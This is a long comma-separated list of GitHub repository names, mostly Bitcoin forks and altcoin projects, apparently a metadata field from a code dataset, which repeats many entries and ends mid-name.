rustyrussell\/bitcoin,RHavar\/bitcoin,qreatora\/worldcoin-v0.8,nmarley\/dash,novacoin-project\/novacoin,bitjson\/hivemind,bitgrowchain\/bitgrow,bitbrazilcoin-project\/bitbrazilcoin,Friedbaumer\/litecoin,Krellan\/bitcoin,ashleyholman\/bitcoin,CarpeDiemCoin\/CarpeDiemLaunch,ticclassic\/ic,hsavit1\/bitcoin,safecoin\/safecoin,ptschip\/bitcoin,GlobalBoost\/GlobalBoost,benma\/bitcoin,Adaryian\/E-Currency,brishtiteveja\/sherlockcoin,coinkeeper\/2015-06-22_18-37_dogecoin,reorder\/viacoin,AkioNak\/bitcoin,puticcoin\/putic,lateminer\/DopeCoinGold,Bitcoinsulting\/bitcoinxt,ychaim\/smallchange,LIMXTEC\/DMDv3,fedoracoin-dev\/fedoracoin,BTCGPU\/BTCGPU,arruah\/ensocoin,robvanbentem\/bitcoin,akabmikua\/flowcoin,szlaozhu\/twister-core,CodeShark\/bitcoin,rnicoll\/bitcoin,phelixbtc\/bitcoin,xeddmc\/twister-core,schildbach\/bitcoin,hyperwang\/bitcoin,theuni\/bitcoin,shomeser\/bitcoin,globaltoken\/globaltoken,rat4\/bitcoin,alecalve\/bitcoin,ALEXIUMCOIN\/alexium,vertcoin\/eyeglass,zestcoin\/ZESTCOIN,Flowdalic\/bitcoin,elecoin\/elecoin,dgenr8\/bitcoin,slimcoin-project\/Slimcoin,simdeveloper\/bitcoin,jmgilbert2\/energi,DGCDev\/digitalcoin,fsb4000\/novacoin,kigooz\/smalltestnew,hyperwang\/bitcoin,FuzzyBearBTC\/peercoin,dgenr8\/bitcoin,plankton12345\/litecoin,DogTagRecon\/Still-Leraning,alexandrcoin\/vertcoin,core-bitcoin\/bitcoin,xXDavasXx\/Davascoin,NeuCoin\/neucoin,GroestlCoin\/GroestlCoin,Erkan-Yilmaz\/twister-core,Kefkius\/clams,fedoracoin-dev\/fedoracoin,Rav3nPL\/bitcoin,CoinGame\/NuShadowNet,benosa\/bitcoin,Chancoin-core\/CHANCOIN,som4paul\/BolieC,ohac\/sakuracoin,nathaniel-mahieu\/bitcoin,aspanta\/bitcoin,Kabei\/Ippan,nanocoins\/mycoin,crowning-\/dash,pastday\/bitcoinproject,Thracky\/monkeycoin,kseistrup\/twister-core,mycointest\/owncoin,kevin-cantwell\/crunchcoin,MazaCoin\/mazacoin-new,rromanchuk\/bitcoinxt,marlengit\/BitcoinUnlimited,sipa\/bitcoin,coinkeeper\/2015-06-22_18-36_darkcoin,FinalHashLLC\/namecore,jmcorgan\/bitcoin,nomnombtc\/bitcoin,worldcoinproject\/worldcoin-v0.8,cryptodev35\/icash,starwalkerz\/fincoin-fork,bitpay\/bitcoin,JeremyRand\/bitcoin,CoinBlack\/blackcoin,WorldLeadCurrency\/WLC,fsb4000\/bitcoin,pouta\/bitcoin,manuel-zulian\/CoMoNet,ANCompany\/birdcoin-dev,iadix\/iadixcoin,Enticed87\/Decipher,lbrtcoin\/albertcoin,tedlz123\/Bitcoin,RyanLucchese\/energi,cinnamoncoin\/groupcoin-1,Friedbaumer\/litecoin,totallylegitbiz\/totallylegitcoin,mitchellcash\/bitcoin,rawodb\/bitcoin,Erkan-Yilmaz\/twister-core,Earlz\/renamedcoin,ALEXIUMCOIN\/alexium,gfneto\/Peershares,etercoin\/etercoin,ripper234\/bitcoin,coinkeeper\/megacoin_20150410_fixes,SocialCryptoCoin\/SocialCoin,haisee\/dogecoin,vertcoin\/vertcoin,mincoin-project\/mincoin,webdesignll\/coin,jarymoth\/dogecoin,droark\/bitcoin,sbaks0820\/bitcoin,sstone\/bitcoin,midnightmagic\/bitcoin,penek\/novacoin,greencoin-dev\/greencoin-dev,itmanagerro\/tresting,FeatherCoin\/Feathercoin,tensaix2j\/bananacoin,EthanHeilman\/bitcoin,elliotolds\/bitcoin,okinc\/litecoin,masterbraz\/dg,marlengit\/BitcoinUnlimited,genavarov\/ladacoin,mastercoin-MSC\/mastercore,theuni\/bitcoin,pdrobek\/Polcoin-1-3,sdaftuar\/bitcoin,thunderrabbit\/clams,genavarov\/lamacoin,Kore-Core\/kore,coinkeeper\/2015-06-22_19-19_worldcoin,KnCMiner\/bitcoin,xieta\/mincoin,capitalDIGI\/DIGI-v-0-10-4,BenjaminsCrypto\/Benjamins-1,mruddy\/bitcoin,atgreen\/bitcoin,jlay11\/sharecoin,Mrs-X\/PIVX,thrasher-\/litecoin,phplaboratory\/psiacoin,jyap808\/jumbucks,gravio-net\/graviocoin,SartoNess\/BitcoinUnlimited,brishtiteveja\/truthcoin-cpp,Cocosoft\/bitcoin,kallewoof\/elements,MitchellMintCoins\/AutoCoin,pelorusjack\/BlockDX,sigmike\/peercoin,haraldh\/bitcoin,pevernon\/picoin,cinnamoncoin\/Feathercoin,Enticed87\/Decipher,adpg211\/bitcoin-master,benma\/bitcoin,cmgustavo\/bitcoin,WorldcoinGlobal\/WorldcoinLegacy,jtimon\/bitcoin,funkshelper\/woodcoin-b,capitalDIGI\/litecoin,coinkeeper\/anoncoin_20150330_fixes,earthcoinproject\/earthcoin,coinkeeper\/2015-06-22_19-00_ziftrcoin,jimmykiselak\/lbrycrd,keo\/bitcoin,raasakh\/bardcoin.exe,coinkeeper\/anoncoin_20150330_fixes,plankton12345\/litecoin,ionomy\/ion,jameshilliard\/bitcoin,11755033isaprimenumber\/Feathercoin,coinkeeper\/2015-06-22_18-41_ixcoin,wangliu\/bitcoin,and2099\/twister-core,jashandeep-sohi\/ppcoin,keisercoin-official\/keisercoin,andreaskern\/bitcoin,Ziftr\/litecoin,LIMXTEC\/DMDv3,gfneto\/Peershares,neutrinofoundation\/neutrino-digital-currency,odemolliens\/bitcoinxt,Peerunity\/Peerunity,CryptArc\/bitcoinxt,Diapolo\/bitcoin,cheehieu\/bitcoin,ahmedbodi\/bytecoin,Infernoman\/crowncoin,emc2foundation\/einsteinium,sugruedes\/bitcoinxt,funkshelper\/woodcore,shelvenzhou\/BTCGPU,jimblasko\/2015_UNB_Wallets,kbccoin\/kbc,vertcoin\/eyeglass,vcoin-project\/vcoincore,jrick\/bitcoin,nikkitan\/bitcoin,Xekyo\/bitcoin,MasterX1582\/bitcoin-becoin,lordsajan\/erupee,Rav3nPL\/polcoin,keesdewit82\/LasVegasCoin,therealaltcoin\/altcoin,ericshawlinux\/bitcoin,syscoin\/syscoin2,KaSt\/ekwicoin,world-bank\/unpay-core,celebritycoin\/CelebrityCoin,shea256\/bitcoin,coinkeeper\/terracoin_20150327,haobtc\/bitcoin,viacoin\/viacoin,coinkeeper\/2015-04-19_21-20_litecoindark,Flowdalic\/bitcoin,phorensic\/yacoin,arnuschky\/bitcoin,deadalnix\/bitcoin,ericshawlinux\/bitcoin,TripleSpeeder\/bitcoin,jiffe\/cosinecoin,reddink\/reddcoin,BTCDDev\/bitcoin,constantine001\/bitcoin,UdjinM6\/dash,Vsync-project\/Vsync,byncoin-project\/byncoin,sbaks0820\/bitcoin,fujicoin\/fujicoin,crowning-\/dash,Infernoman\/crowncoin,celebritycoin\/CelebrityCoin,spiritlinxl\/BTCGPU,cryptoprojects\/ultimateonlinecash,XertroV\/bitcoin-nulldata,svost\/bitcoin,maaku\/bitcoin,brandonrobertz\/namecoin-core,ColossusCoinXT\/ColossusCoinXT,Darknet-Crypto\/Darknet,phelix\/namecore,iceinsidefire\/peershare-edit,Rav3nPL\/polcoin,putinclassic\/putic,jonasschnelli\/bitcoin,SandyCohen\/mincoin,puticcoin\/putic,DigitalPandacoin\/pandacoin,jmcorgan\/bitcoin,creath\/barcoin,cinnamoncoin\/Feathercoin,Exgibichi\/statusquo,pinkmagicdev\/SwagBucks,CryptArc\/bitcoin,FuzzyBearBTC\/Peershares-1,dogecoin\/dogecoin,cybermatatu\/bitcoin,m0gliE\/fastcoin-cli,dgarage\/bc3,coinkeeper\/megacoin_20150410_fixes,Tetcoin\/tetcoin,llluiop\/bitcoin,jmcorgan\/bitcoin,iceinsidefire\/peershare-edit,barcoin-project\/nothingcoin,stamhe\/bitcoin,shaolinfry\/litecoin,aspanta\/bitcoin,1185\/starwels,ANCompany\/birdcoin-dev,BTCTaras\/bitcoin,omefire\/bitcoin,jrick\/bitcoin,gazbert\/bitcoin,bdelzell\/creditcoin-org-creditcoin,xurantju\/bitcoin,bitchip\/bitchip,ahmedbodi\/temp_vert,jtimon\/elements,bitjson\/hivemind,therealaltcoin\/altcoin,GeekBrony\/ponycoin-old,pouta\/bitcoin,experiencecoin\/experiencecoin,skaht\/bitcoin,jakeva\/bitcoin-pwcheck,Kore-Core\/kore,WorldcoinGlobal\/WorldcoinLegacy,ingresscoin\/ingresscoin,safecoin\/safecoin,ptschip\/bitcoin,wekuiz\/wekoin,plncoin\/PLNcoin_Core,p2peace\/oliver-twister-core,credits-currency\/credits,cdecker\/bitcoin,jameshilliard\/bitcoin,qtumproject\/qtum,bitcoinclassic\/bitcoinclassic,nbenoit\/bitcoin,domob1812\/namecore,zottejos\/merelcoin,Peer3\/homework,bitcoinxt\/bitcoinxt,ShadowMyst\/creativechain-core,neureal\/noocoin,lordsajan\/erupee,Chancoin-core\/CHANCOIN,joulecoin\/joulecoin,XX-net\/twister-core,goldcoin\/goldcoin,valorbit\/valorbit,Kore-Core\/kore,biblepay\/biblepay,cryptoprojects\/ultimateonlinecash,ForceMajeure\/BitPenny-Client-0.4.0.1,totallylegitbiz\/totallylegitcoin,greencoin-dev\/greencoin-dev,kallewoof\/elements,hsavit1\/bitcoin,habibmasuro\/bitcoin,Magicking\/neucoin,majestrate\/twister-core,multicoins\/marycoin,spiritlinxl\/BTCGPU,bcpki\/testblocks,Tetpay\/bitcoin,Ziftr\/litecoin,jeromewu\/bitcoin-opennet,ravenbyron\/phtevencoin,ivansib\/sib16,shaolinfry\/litecoin,kirkalx\/bitcoin,rnicoll\/bitcoin,CoinBlack\/bitcoin,palm12341\/jnc,spiritlinxl\/BTCGPU,xeddmc\/twister-core,Bitcoin-com\/BUcash,koharjidan\/bitcoin,Earlz\/dobbscoin-source,domob1812\/bitcoin,plncoin\/PLNcoin_Core,digideskio\/namecoin,goku1997\/bitcoin,greencoin-dev\/greencoin-dev,neuroidss\/bitcoin,mb300sd\/bitcoin,cainca\/liliucoin,ravenbyron\/phtevencoin,TripleSpeeder\/bitcoin,mooncoin-project\/mooncoin-landann,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,StarbuckBG\/BTCGPU,tecnovert\/particl-core,brightcoin\/brightcoin,coinkeeper\/2015-06-22_18-31_bitcoin,phplaboratory\/psiacoin,Bitcoinsulting\/bitcoinxt,alecalve\/bitcoin,Rimbit\/Wallets,manuel-zulian\/CoMoNet,misdess\/bitcoin,coinkeeper\/2015-04-19_21-20_litecoindark,pinheadmz\/bitcoin,tecnovert\/particl-core,tropa\/axecoin,dexX7\/mastercore,rnicoll\/dogecoin,aciddude\/Feathercoin,Christewart\/bitcoin,Justaphf\/BitcoinUnlimited,erqan\/twister-core,killerstorm\/bitcoin,bitcoin\/bitcoin,cryptoprojects\/ultimateonlinecash,SproutsEx\/SproutsExtreme,daeMOn63\/Peershares,qubitcoin-project\/QubitCoinQ2C,ronpaulcoin\/ronpaulcoin,FarhanHaque\/bitcoin,jiffe\/cosinecoin,goldcoin\/Goldcoin-GLD,stamhe\/bitcoin,mikehearn\/bitcoin,dakk\/soundcoin,nigeriacoin\/nigeriacoin,cryptocoins4all\/zcoin,terracoin\/terracoin,joshrabinowitz\/bitcoin,compasscoin\/compasscoin,jnewbery\/bitcoin,degenorate\/Deftcoin,gjhiggins\/vcoin09,marcusdiaz\/BitcoinUnlimited,acid1789\/bitcoin,ptschip\/bitcoin,peercoin\/peercoin,okcashpro\/okcash,s-matthew-english\/bitcoin,cddjr\/BitcoinUnlimited,neuroidss\/bitcoin,Kefkius\/clams,Someguy123\/novafoil,sstone\/bitcoin,Ziftr\/litecoin,itmanagerro\/tresting,magacoin\/magacoin,cmgustavo\/bitcoin,shurcoin\/shurcoin,ClusterCoin\/ClusterCoin,cculianu\/bitcoin-abc,scmorse\/bitcoin,AdrianaDinca\/bitcoin,mikehearn\/bitcoinxt,andreaskern\/bitcoin,Cloudsy\/bitcoin,pascalguru\/florincoin,bitcoin-hivemind\/hivemind,metrocoins\/metrocoin,TurboStake\/TurboStake,cculianu\/bitcoin-abc,CoinGame\/NuShadowNet,coinkeeper\/2015-06-22_19-13_florincoin,Kogser\/bitcoin,BlockchainTechLLC\/3dcoin,CarpeDiemCoin\/CarpeDiemLaunch,rustyrussell\/bitcoin,sipsorcery\/bitcoin,funbucks\/notbitcoinxt,nailtaras\/nailcoin,novacoin-project\/novacoin,terracoin\/terracoin,shea256\/bitcoin,royosherove\/bitcoinxt,earonesty\/bitcoin,coinkeeper\/2015-06-22_19-13_florincoin,drwasho\/bitcoinxt,TGDiamond\/Diamond,Tetcoin\/tetcoin,GreenParhelia\/bitcoin,zestcoin\/ZESTCOIN,shaolinfry\/litecoin,cotner\/bitcoin,romanornr\/viacoin,joroob\/reddcoin,okcashpro\/okcash,r8921039\/bitcoin,truthcoin\/blocksize-market,chrisfranko\/aiden,syscoin\/syscoin2,wellenreiter01\/Feathercoin,CoinBlack\/bitcoin,ardsu\/bitcoin,OstlerDev\/florincoin,ticclassic\/ic,sstone\/bitcoin,ediston\/energi,zzkt\/solarcoin,jrmithdobbs\/bitcoin,ceptacle\/libcoinqt,micryon\/GPUcoin,greencoin-dev\/digitalcoin,jmgilbert2\/energi,celebritycoin\/investorcoin,bitreserve\/bitcoin,gfneto\/Peershares,bcpki\/testblocks,grumpydevelop\/singularity,ryanxcharles\/bitcoin,forrestv\/bitcoin,GeekBrony\/ponycoin-old,novaexchange\/EAC,lordsajan\/erupee,jrmithdobbs\/bitcoin,chaincoin\/chaincoin,dev1972\/Satellitecoin,ixcoinofficialpage\/master,taenaive\/zetacoin,ArgonToken\/ArgonToken,manuel-zulian\/accumunet,koharjidan\/bitcoin,likecoin-dev\/bitcoin,AsteraCoin\/AsteraCoin,peerdb\/cors,Kenwhite23\/litecoin,Dajackal\/Ronpaulcoin,OstlerDev\/florincoin,DrCrypto\/darkcoin,schinzelh\/dash,Kixunil\/keynescoin,peercoin\/peercoin,sipa\/elements,oklink-dev\/litecoin_block,OmniLayer\/omnicore,bitcoinsSG\/bitcoin,particl\/particl-core,se3000\/bitcoin,IlfirinCano\/shavercoin,TheOncomingStorm\/logincoinadvanced,and2099\/twister-core,pinkevich\/dash,biblepay\/biblepay,Darknet-Crypto\/Darknet,matlongsi\/micropay,NateBrune\/bitcoin-fio,mycointest\/owncoin,jnewbery\/bitcoin,wiggi\/huntercore,MasterX1582\/bitcoin-becoin,syscoin\/syscoin,JeremyRand\/namecore,misdess\/bitcoin,gwillen\/elements,dopecoin-dev\/DopeCoinGold,domob1812\/crowncoin,koltcoin\/koltcoin,ArgonToken\/ArgonToken,wangxinxi\/litecoin,jambolo\/bitcoin,kallewoof\/bitcoin,josephbisch\/namecoin-core,dgarage\/bc2,ekankyesme\/bitcoinxt,schinzelh\/dash,argentumproject\/argentum,Darknet-Crypto\/Darknet,OmniLayer\/omnicore,iosdevzone\/bitcoin,cyrixhero\/bitcoin,wederw\/bitcoin,PRabahy\/bitcoin,starwels\/starwels,174high\/bitcoin,r8921039\/bitcoin,OfficialTitcoin\/titcoin-wallet,bankonmecoin\/bitcoin,paveljanik\/bitcoin,jtimon\/elements,gandrewstone\/BitcoinUnlimited,truthcoin\/blocksize-market,haisee\/dogecoin,dooglus\/clams,freelion93\/mtucicoin,SmeltFool\/Yippe-Hippe,paveljanik\/bitcoin,sugruedes\/bitcoin,stronghands\/stronghands,Infernoman\/crowncoin,riecoin\/riecoin,gravio-net\/graviocoin,borgcoin\/Borgcoin1,pdrobek\/Polcoin-1-3,dobbscoin\/dobbscoin-source,sifcoin\/sifcoin,antonio-fr\/bitcoin,mammix2\/ccoin-dev,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,accraze\/bitcoin,TheoremCrypto\/TheoremCoin,zsulocal\/bitcoin,mrtexaznl\/mediterraneancoin,coinkeeper\/2015-06-22_18-30_anoncoin,rat4\/bitcoin,lakepay\/lake,2XL\/bitcoin,xranby\/blackcoin,ShwoognationHQ\/bitcoin,afk11\/bitcoin,langerhans\/dogecoin,xawksow\/GroestlCoin,aniemerg\/zcash,internaut-me\/ppcoin,phplaboratory\/psiacoin,KillerByte\/memorypool,karek314\/bitcoin,GIJensen\/bitcoin,jlay11\/sharecoin,wbchen99\/bitcoin-hnote0,kfitzgerald\/titcoin,imton\/bitcoin,palm12341\/jnc,Blackcoin\/blackcoin,collapsedev\/cashwatt,okinc\/litecoin,ohac\/sakuracoin,cerebrus29301\/crowncoin,penek\/novacoin,peercoin\/peercoin,united-scrypt-coin-project\/unitedscryptcoin,gavinandresen\/bitcoin-git,torresalyssa\/bitcoin,zander\/bitcoinclassic,BTCfork\/hardfork_prototype_1_mvf-bu,untrustbank\/litecoin,s-matthew-english\/bitcoin,mockcoin\/mockcoin,litecoin-project\/litecore-litecoin,Christewart\/bitcoin,pstratem\/bitcoin,habibmasuro\/bitcoinxt,gorgoy\/novacoin,sbaks0820\/bitcoin,shurcoin\/shurcoin,lateminer\/DopeCoinGold,keo\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,TheSeven\/ppcoin,WorldLeadCurrency\/WLC,tdudz\/elements,dan-mi-sun\/bitcoin,CTRoundTable\/Encrypted.Cash,elacoin\/elacoin,Cocosoft\/bitcoin,itmanagerro\/tresting,domob1812\/crowncoin,UASF\/bitcoin,oklink-dev\/bitcoin,djpnewton\/bitcoin,mruddy\/bitcoin,cdecker\/bitcoin,bitgoldcoin-project\/bitgoldcoin,Har01d\/bitcoin,dscotese\/bitcoin,vericoin\/vericoin-core,ArgonToken\/ArgonToken,dooglus\/clams,syscoin\/syscoin2,mapineda\/litecoin,saydulk\/Feathercoin,BTCGPU\/BTCGPU,dcousens\/bitcoin,itmanagerro\/tresting,BlueMeanie\/PeerShares,ashleyholman\/bitcoin,BTCDDev\/bitcoin,Litecoindark\/LTCD,cinnamoncoin\/Feathercoin,karek314\/bitcoin,lclc\/bitcoin,JeremyRand\/namecore,Exgibichi\/statusquo,stevemyers\/bitcoinxt,deadalnix\/bitcoin,dannyperez\/bolivarcoin,Dinarcoin\/dinarcoin,ohac\/sha1coin,viacoin\/viacoin,bittylicious\/bitcoin,MeshCollider\/bitcoin,bankonmecoin\/bitcoin,odemolliens\/bitcoinxt,hophacker\/bitcoin_malleability,rebroad\/bitcoin,gmaxwell\/bitcoin,jn2840\/bitcoin,Checkcoin\/checkcoin,Czarcoin\/czarcoin,SandyCohen\/mincoin,UASF\/bitcoin,gzuser01\/zetacoin-bitcoin,aspirecoin\/aspire,xuyangcn\/opalcoin,sickpig\/BitcoinUnlimited,therealaltcoin\/altcoin,GeopaymeEE\/e-goldcoin,bitjson\/hivemind,prusnak\/bitcoin,compasscoin\/compasscoin,czr5014iph\/bitcoin4e,goldmidas\/goldmidas,coinkeeper\/2015-06-22_19-07_digitalcoin,initaldk\/bitcoin,KillerByte\/memorypool,achow101\/bitcoin,jl2012\/litecoin,prark\/bitcoinxt,coinkeeper\/2015-06-22_18-42_litecoin,dperel\/bitcoin,coinkeeper\/2015-06-22_18-46_razor,spiritlinxl\/BTCGPU,reorder\/viacoin,jl2012\/litecoin,UdjinM6\/dash,scippio\/bitcoin,myriadcoin\/myriadcoin,ivansib\/sib16,111t8e\/bitcoin,isocolsky\/bitcoinxt,applecoin-official\/fellatio,totallylegitbiz\/totallylegitcoin,domob1812\/namecore,KaSt\/equikoin,ryanofsky\/bitcoin,zzkt\/solarcoin,CoinBlack\/blackcoin,knolza\/gamblr,vmp32k\/litecoin,nsacoin\/nsacoin,miguelfreitas\/twister-core,cmgustavo\/bitcoin,Kangmo\/bitcoin,elcrypto\/Pulse,arruah\/ensocoin,bitcoinsSG\/bitcoin,rjshaver\/bitcoin,sirk390\/bitcoin,NateBrune\/bitcoin-nate,millennial83\/bitcoin,wbchen99\/bitcoin-hnote0,earthcoinproject\/earthcoin,phelix\/namecore,deuscoin\/deuscoin,hasanatkazmi\/bitcoin,gandrewstone\/BitcoinUnlimited,sickpig\/BitcoinUnlimited,mycointest\/owncoin,MazaCoin\/mazacoin-new,llluiop\/bitcoin,AquariusNetwork\/ARCO,funbucks\/notbitcoinxt,prusnak\/bitcoin,wbchen99\/bitcoin-hnote0,zcoinofficial\/zcoin,coinkeeper\/2015-06-22_18-52_viacoin,blood2\/bloodcoin-0.9,phelix\/bitcoin,Theshadow4all\/ShadowCoin,Petr-Economissa\/gvidon,Geekcoin-Project\/Geekcoin,tjth\/lotterycoin,REAP720801\/bitcoin,bitcoinplusorg\/xbcwalletsource,torresalyssa\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,irvingruan\/bitcoin,DSPay\/DSPay,kallewoof\/bitcoin,shapiroisme\/datadollar,Climbee\/artcoin,Whitecoin-org\/Whitecoin,gwangjin2\/gwangcoin-core,ANCompany\/birdcoin-dev,CoinGame\/BCEShadowNet,whatrye\/twister-core,compasscoin\/compasscoin,kbccoin\/kbc,lclc\/bitcoin,shadowoneau\/ozcoin,AllanDoensen\/BitcoinUnlimited,Bluejudy\/worldcoin,stevemyers\/bitcoinxt,Dajackal\/Ronpaulcoin,ericshawlinux\/bitcoin,laudaa\/bitcoin,kallewoof\/elements,Bitcoin-com\/BUcash,svost\/bitcoin,bitpagar\/bitpagar,kbccoin\/kbc,dperel\/bitcoin,Stakemaker\/OMFGcoin,Matoking\/bitcoin,ionux\/freicoin,dgenr8\/bitcoin,DGCDev\/argentum,tjth\/lotterycoin,ionux\/freicoin,Darknet-Crypto\/Darknet,ccoin-project\/ccoin,brishtiteveja\/sherlockholmescoin,KibiCoin\/kibicoin,unsystemizer\/bitcoin,kigooz\/smalltest,MeshCollider\/bitcoin,effectsToCause\/vericoin,altcoinpro\/addacoin,projectinterzone\/ITZ,svost\/bitcoin,pastday\/bitcoinproject,karek314\/bitcoin,bespike\/litecoin,mb300sd\/bitcoin,inutoshi\/inutoshi,scamcoinz\/scamcoin,donaloconnor\/bitcoin,Litecoindark\/LTCD,GroestlCoin\/GroestlCoin,coinkeeper\/2015-06-22_18-51_vertcoin,Flurbos\/Flurbo,thesoftwarejedi\/bitcoin,palm12341\/jnc,Climbee\/artcoin,MasterX1582\/bitcoin-becoin,TripleSpeeder\/bitcoin,dcousens\/bitcoin,AllanDoensen\/BitcoinUnlimited,Cancercoin\/Cancercoin,upgradeadvice\/MUE-Src,jn2840\/bitcoin,earonesty\/bitcoin,aniemerg\/zcash,randy-waterhouse\/bitcoin,TBoehm\/greedynode,etercoin\/etercoin,MazaCoin\/mazacoin-new,united-scrypt-coin-project\/unitedscryptcoin,ohac\/sha1coin,neutrinofoundation\/neutrino-digital-currency,pinkevich\/dash,lbrtcoin\/albertcoin,tripmode\/pxlcoin,romanornr\/viacoin,Theshadow4all\/ShadowCoin,haobtc\/bitcoin,senadmd\/coinmarketwatch,jonasschnelli\/bitcoin,UdjinM6\/dash,Theshadow4all\/ShadowCoin,richo\/dongcoin,alexwaters\/Bitcoin-Testing,phelixbtc\/bitcoin,Michagogo\/bitcoin,gorgoy\/novacoin,drwasho\/bitcoinxt,dooglus\/clams,gwillen\/elements,sebrandon1\/bitcoin,Vsync-project\/Vsync,accraze\/bitcoin,okcashpro\/okcash,ivansib\/sib16,HeliumGas\/helium,loxal\/zcash,Alex-van-der-Peet\/bitcoin,jn2840\/bitcoin,REAP720801\/bitcoin,FuzzyBearBTC\/Peerunity,PRabahy\/bitcoin,lbryio\/lbrycrd,BTCGPU\/BTCGPU,DynamicCoinOrg\/DMC,rawodb\/bitcoin,riecoin\/riecoin,nathaniel-mahieu\/bitcoin,royosherove\/bitcoinxt,gapcoin\/gapcoin,RazorLove\/cloaked-octo-spice,stamhe\/litecoin,senadmd\/coinmarketwatch,butterflypay\/bitcoin,Kabei\/Ippan,dagurval\/bitcoinxt,MarcoFalke\/bitcoin,myriadteam\/myriadcoin,FuzzyBearBTC\/Peershares2,tdudz\/elements,Sjors\/bitcoin,syscoin\/syscoin,Cancercoin\/Cancercoin,bittylicious\/bitcoin,vertcoin\/eyeglass,SoreGums\/bitcoinxt,robvanbentem\/bitcoin,crowning2\/dash,zcoinofficial\/zcoin,domob1812\/i0coin,magacoin\/magacoin,BlueMeanie\/PeerShares,DGCDev\/digitalcoin,RongxinZhang\/bitcoinxt,wbchen99\/bitcoin-hnote0,r8921039\/bitcoin,Open-Source-Coins\/EZ,marcusdiaz\/BitcoinUnlimited,yacoin\/yacoin,GroundRod\/anoncoin,CTRoundTable\/Encrypted.Cash,LIMXTEC\/DMDv3,cybermatatu\/bitcoin,pevernon\/picoin,plankton12345\/litecoin,shadowoneau\/ozcoin,btcdrak\/bitcoin,Lucky7Studio\/bitcoin,practicalswift\/bitcoin,Kangmo\/bitcoin,micryon\/GPUcoin,nigeriacoin\/nigeriacoin,biblepay\/biblepay,Rav3nPL\/polcoin,Rav3nPL\/doubloons-08,cmgustavo\/bitcoin,djpnewton\/bitcoin,svost\/bitcoin,Carrsy\/PoundCoin,coinkeeper\/2015-06-22_18-52_viacoin,Bloom-Project\/Bloom,namecoin\/namecoin-core,meighti\/bitcoin,stamhe\/novacoin,BitzenyCoreDevelopers\/bitzeny,coinkeeper\/2015-06-22_18-56_megacoin,masterbraz\/dg,lordsajan\/erupee,rromanchuk\/bitcoinxt,daliwangi\/bitcoin,jambolo\/bitcoin,IlfirinCano\/shavercoin,fujicoin\/fujicoin,bitcoinclassic\/bitcoinclassic,Czarcoin\/czarcoin,djpnewton\/bitcoin,masterbraz\/dg,elliotolds\/bitcoin,worldcoinproject\/worldcoin-v0.8,appop\/bitcoin,KaSt\/ekwicoin,dooglus\/bitcoin,peerdb\/cors,royosherove\/bitcoinxt,Rav3nPL\/PLNcoin,dan-mi-sun\/bitcoin,Theshadow4all\/ShadowCoin,elcrypto\/Pulse,imharrywu\/fastcoin,bmp02050\/ReddcoinUpdates,Peershares\/Peershares,cotner\/bitcoin,Kcoin-project\/kcoin,jgarzik\/bitcoin,btcdrak\/bitcoin,alejandromgk\/Lunar,yenliangl\/bitcoin,joulecoin\/joulecoin,mobicoins\/mobicoin-core,mruddy\/bitcoin,gades\/novacoin,BitzenyCoreDevelopers\/bitzeny,botland\/bitcoin,Kixunil\/keynescoin,GreenParhelia\/bitcoin,credits-currency\/credits,presstab\/PIVX,aburan28\/elements,BlueMeanie\/PeerShares,starwalkerz\/fincoin-fork,ivansib\/sib16,meighti\/bitcoin,haobtc\/bitcoin,dmrtsvetkov\/flowercoin,phelix\/namecore,gades\/novacoin,x-kalux\/bitcoin_WiG-B,Rimbit\/Wallets,dopecoin-dev\/DopeCoinGold,dgarage\/bc3,jakeva\/bitcoin-pwcheck,butterflypay\/bitcoin,cryptcoins\/cryptcoin,coinkeeper\/2015-06-22_18-52_viacoin,terracoin\/terracoin,ludbb\/bitcoin,PRabahy\/bitcoin,Czarcoin\/czarcoin,bitpay\/bitcoin,gwangjin2\/gwangcoin-core,pstratem\/elements,domob1812\/crowncoin,Exceltior\/dogecoin,ghostlander\/Orbitcoin,rat4\/blackcoin,chrisfranko\/aiden,HashUnlimited\/Einsteinium-Unlimited,zsulocal\/bitcoin,tensaix2j\/bananacoin,dpayne9000\/Rubixz-Coin,Crowndev\/crowncoin,MitchellMintCoins\/MortgageCoin,manuel-zulian\/accumunet,dgarage\/bc3,bitcoin\/bitcoin,brightcoin\/brightcoin,amaivsimau\/bitcoin,borgcoin\/Borgcoin1,haisee\/dogecoin,Bitcoin-com\/BUcash,credits-currency\/credits,awemany\/BitcoinUnlimited,prodigal-son\/blackcoin,neuroidss\/bitcoin,domob1812\/huntercore,capitalDIGI\/DIGI-v-0-10-4,skaht\/bitcoin,steakknife\/bitcoin-qt,cinnamoncoin\/groupcoin-1,JeremyRand\/namecore,Vector2000\/bitcoin,wederw\/bitcoin,CoinBlack\/blackcoin,Kixunil\/keynescoin,xawksow\/GroestlCoin,czr5014iph\/bitcoin4e,Action-Committee\/Spaceballz,mockcoin\/mockcoin,morcos\/bitcoin,Krellan\/bitcoin,coinkeeper\/2015-06-22_18-56_megacoin,riecoin\/riecoin,grumpydevelop\/singularity,TurboStake\/TurboStake,hsavit1\/bitcoin,nbenoit\/bitcoin,torresalyssa\/bitcoin,zcoinofficial\/zcoin,braydonf\/bitcoin,ingresscoin\/ingresscoin,martindale\/elements,gavinandresen\/bitcoin-git,shapiroisme\/datadollar,Cloudsy\/bitcoin,HerkCoin\/herkcoin,szlaozhu\/twister-core,phelix\/bitcoin,nikkitan\/bitcoin,Michagogo\/bitcoin,bitpagar\/bitpagar,marklai9999\/Taiwancoin,peerdb\/cors,qubitcoin-project\/QubitCoinQ2C,zsulocal\/bitcoin,hg5fm\/nexuscoin,antcheck\/antcoin,coinkeeper\/2015-06-22_18-41_ixcoin,cqtenq\/Feathercoin,npccoin\/npccoin,ahmedbodi\/vertcoin,gjhiggins\/vcoin09,jameshilliard\/bitcoin,royosherove\/bitcoinxt,GeopaymeEE\/e-goldcoin,Peershares\/Peershares,monacoinproject\/monacoin,rustyrussell\/bitcoin,freelion93\/mtucicoin,razor-coin\/razor,scmorse\/bitcoin,Kabei\/Ippan,ajweiss\/bitcoin,iQcoin\/iQcoin,privatecoin\/privatecoin,AkioNak\/bitcoin,CoinBlack\/bitcoin,sebrandon1\/bitcoin,sirk390\/bitcoin,dscotese\/bitcoin,CoinProjects\/AmsterdamCoin-v4,ashleyholman\/bitcoin,particl\/particl-core,josephbisch\/namecoin-core,CoinProjects\/AmsterdamCoin-v4,markf78\/dollarcoin,yc